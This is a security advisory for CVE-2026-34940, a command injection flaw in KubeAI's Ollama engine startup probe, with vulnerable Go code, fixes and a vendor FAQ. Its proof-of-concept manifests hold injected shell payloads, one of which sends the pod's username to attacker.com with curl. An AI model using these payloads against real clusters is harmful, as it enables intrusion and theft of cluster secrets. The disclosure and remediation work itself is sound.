CVE-2026-34940

CHAMP: Description

The ollamaStartupProbeScript() function in internal/modelcontroller/engine_ollama.go constructs a shell command string using fmt.Sprintf with unsanitized model URL components (ref, modelParam). This shell command is executed via bash -c as a Kubernetes startup probe. An attacker who can create or update Model custom resources can inject arbitrary shell commands that execute inside model server pods.

Details

The parseModelURL() function in internal/modelcontroller/model_source.go uses a regex (^([a-z0-9]+):\/\/([^?]+)(\?.*)?$) to parse model URLs. The ref component (capture group 2) matches [^?]+, allowing any characters except ?, including shell metacharacters like ;, |, $(), and backticks.

The ?model= query parameter (modelParam) is also extracted without any sanitization.

Vulnerable code (permalink):

func ollamaStartupProbeScript(m *kubeaiv1.Model, u modelURL) string {
    startupScript := ""
    if u.scheme == "pvc" {
        startupScript = fmt.Sprintf("/bin/ollama cp %s %s", u.modelParam, m.Name)
    } else {
        if u.pull {
            pullCmd := "/bin/ollama pull"
            if u.insecure {
                pullCmd += " --insecure"
            }
            startupScript = fmt.Sprintf("%s %s && /bin/ollama cp %s %s", pullCmd, u.ref, u.ref, m.Name)
        } else {
            startupScript = fmt.Sprintf("/bin/ollama cp %s %s", u.ref, m.Name)
        }
    }
    // ...
    return startupScript
}

This script is then used as a bash -c startup probe (permalink):

StartupProbe: &corev1.Probe{
    ProbeHandler: corev1.ProbeHandler{
        Exec: &corev1.ExecAction{
            Command: []string{"bash", "-c", startupProbeScript},
        },
    },
},

Compare with the vLLM engine which safely passes the model ref as a command-line argument (not through a shell):

// engine_vllm.go - safe: args are passed directly, no shell involved
args := []string{
    "--model=" + vllmModelFlag,
    "--served-model-name=" + m.Name,
}

URL parsing (permalink):

var modelURLRegex = regexp.MustCompile(`^([a-z0-9]+):\/\/([^?]+)(\?.*)?$`)

func parseModelURL(urlStr string) (modelURL, error) {
    // ref = matches[2] -> [^?]+ allows shell metacharacters
    // modelParam from ?model= query param -> completely unsanitized
}

There is no admission webhook or CRD validation that sanitizes the URL field.

PoC

Attack vector 1: Command injection via ollama:// URL ref

apiVersion: kubeai.org/v1
kind: Model
metadata:
  name: poc-cmd-inject
spec:
  features: ["TextGeneration"]
  engine: OLlama
  url: "ollama://registry.example.com/model;id>/tmp/pwned;echo"
  minReplicas: 1
  maxReplicas: 1

The startup probe script becomes:

/bin/ollama pull registry.example.com/model;id>/tmp/pwned;echo && /bin/ollama cp registry.example.com/model;id>/tmp/pwned;echo poc-cmd-inject && /bin/ollama run poc-cmd-inject hi

The injected id>/tmp/pwned command executes inside the pod.

Attack vector 2: Command injection via ?model= query parameter

apiVersion: kubeai.org/v1
kind: Model
metadata:
  name: poc-cmd-inject-pvc
spec:
  features: ["TextGeneration"]
  engine: OLlama
  url: "pvc://my-pvc?model=qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo"
  minReplicas: 1
  maxReplicas: 1

The startup probe script becomes:

/bin/ollama cp qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo poc-cmd-inject-pvc && /bin/ollama run poc-cmd-inject-pvc hi

1. Arbitrary command execution inside model server pods by any user with Model CRD create/update RBAC
2. In multi-tenant Kubernetes clusters, a tenant with Model creation permissions (but not cluster-admin) can execute arbitrary commands in model pods, potentially accessing secrets, service account tokens, or lateral-moving to other cluster resources
3. Data exfiltration from the model pod's environment (environment variables, mounted secrets, service account tokens)
4. Compromise of the model serving infrastructure

Untrusted input reaches a shell command, allowing arbitrary commands to run on the host. Typical impact: code execution in the application's environment.

CVE-2026-34940 has a CVSS score of 8.7 (High). The vector is network-reachable, high privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.23.2); upgrading removes the vulnerable code path.

Kodem intelligence

Replace the bash -c startup probe with either:

1. An exec probe that passes arguments as separate array elements (like the vLLM engine does), or
2. Validate/sanitize u.ref and u.modelParam to only allow alphanumeric characters, slashes, colons, dots, and hyphens before interpolating into the shell command

Example fix:

// Option 1: Use separate args instead of bash -c
Command: []string{"/bin/ollama", "pull", u.ref}

// Option 2: Sanitize inputs
var safeModelRef = regexp.MustCompile(`^[a-zA-Z0-9._:/-]+$`)
if !safeModelRef.MatchString(u.ref) {
    return "", fmt.Errorf("invalid model reference: %s", u.ref)
}

1. What is CVE-2026-34940? CVE-2026-34940 is a high-severity OS command injection vulnerability in github.com/kubeai-project/kubeai (go), affecting versions <= 0.23.1. It is fixed in 0.23.2. Untrusted input reaches a shell command, allowing arbitrary commands to run on the host.
2. How severe is CVE-2026-34940? CVE-2026-34940 has a CVSS score of 8.7 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/kubeai-project/kubeai are affected by CVE-2026-34940? github.com/kubeai-project/kubeai (go) versions <= 0.23.1 is affected.
4. Is there a fix for CVE-2026-34940? Yes. CVE-2026-34940 is fixed in 0.23.2. Upgrade to this version or later.
5. Is CVE-2026-34940 exploitable, and should I be worried? Whether CVE-2026-34940 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-34940 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-34940? Upgrade github.com/kubeai-project/kubeai to 0.23.2 or later.